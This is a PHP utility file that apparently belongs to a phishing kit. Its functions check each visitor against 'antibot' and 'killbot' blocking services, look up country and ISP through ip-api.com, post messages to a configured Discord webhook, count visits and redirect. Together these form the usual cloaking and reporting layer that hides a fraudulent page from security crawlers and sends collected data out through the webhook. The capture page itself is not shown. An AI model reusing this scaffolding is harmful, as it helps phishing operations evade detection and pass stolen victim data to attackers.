<?php 

function tambah_visitor(){
	$filecounter=("total_visitor.txt");
	$kunjungan=file($filecounter);
	$kunjungan[0]++;
	$file=fopen($filecounter,"w");
	fputs($file,"$kunjungan[0]");
	fclose($file);
}

function antibot($key, $ip, $useragent){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "Antibot Blocker");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, "https://antibot.pw/api/v2-blockers?ip=".$ip."&apikey=".$key."&ua=".urlencode($useragent));
    $data = curl_exec($ch);
    curl_close($ch);
    $x = json_decode($data,true);

    if($x['is_bot']){
        return true;
    } else {
        return false;
    }
}

function killbot($key, $ip, $useragent){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "Killbot Blocker");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, "https://killbot.org/api/v1/blocker?ip=".$ip."&apikey=".$key."&ua=".urlencode($useragent));
    $data = curl_exec($ch);
    curl_close($ch);
    $x = json_decode($data,true);

    if ($x['data']['is_bot']) {
        return true;   
    } else {
        return false;
    }
}

function write($filename, $mode, $data)
{
    $fp = @fopen($filename, $mode);
    @fwrite($fp, $data);
    @fclose($fp);
}

function discord($content)
{
    global $config;
    $curl = curl_init();

    $data = array('content' => $content);
    // use key 'http' even if you send the request to https://...
    $options = array(
        'http' => array(
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data)
            )
    );
    
    $response = file_get_contents($config['discord_webhook'], false, stream_context_create($options));
    
    return $response;

}

function getUserIP()
{
    $ip_address = 'Unknown IP Address';
    foreach (['CLIENT_IP', 'FORWARDED', 'FORWARDED_FOR', 'FORWARDED_FOR_IP', 'HTTP_X_CLIENT_IP', 'VIA', 'X_FORWARDED', 'X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION', 'HTTP_VIA', 'HTTP_X_FORWARDED', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_CLUSTER_CLIENT_IP', 'REMOTE_ADDR'] as $key) {
        if (array_key_exists($key, $_SERVER) === TRUE) {
            foreach (explode(',', $_SERVER[$key]) as $ip) {
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE) {
                    $ip_address = $ip;
                } else {
                    $ip_address = '114.124.205.120';
                }
            }
        }
    }
    return $ip_address;
}

function check_location($ip){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/".$ip);
    $data = curl_exec($ch);
    curl_close($ch);
    $x = json_decode($data,true);

    return $x['countryCode'];

}
function get_hostname($ip){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/".$ip);
    $data = curl_exec($ch);
    curl_close($ch);
    $x = json_decode($data,true);

    return $x['isp'];

}
function redirect($uri = '', $method = 'auto', $code = NULL)
{
    if ( ! preg_match('#^(\w+:)?//#i', $uri))
    {
        $uri = site_url($uri);
    }

    if ($method === 'auto' && isset($_SERVER['SERVER_SOFTWARE']) && strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== FALSE)
    {
        $method = 'refresh';
    }
    elseif ($method !== 'refresh' && (empty($code) OR ! is_numeric($code)))
    {
        if (isset($_SERVER['SERVER_PROTOCOL'], $_SERVER['REQUEST_METHOD']) && $_SERVER['SERVER_PROTOCOL'] === 'HTTP/1.1')
        {
            $code = ($_SERVER['REQUEST_METHOD'] !== 'GET')
                ? 303
                : 307;
        }
        else
        {
            $code = 302;
        }
    }

    switch ($method)
    {
        case 'refresh':
            header('Refresh:0;url='.$uri);
            break;
        default:
            header('Location: '.$uri, TRUE, $code);
            break;
    }
    exit;
}
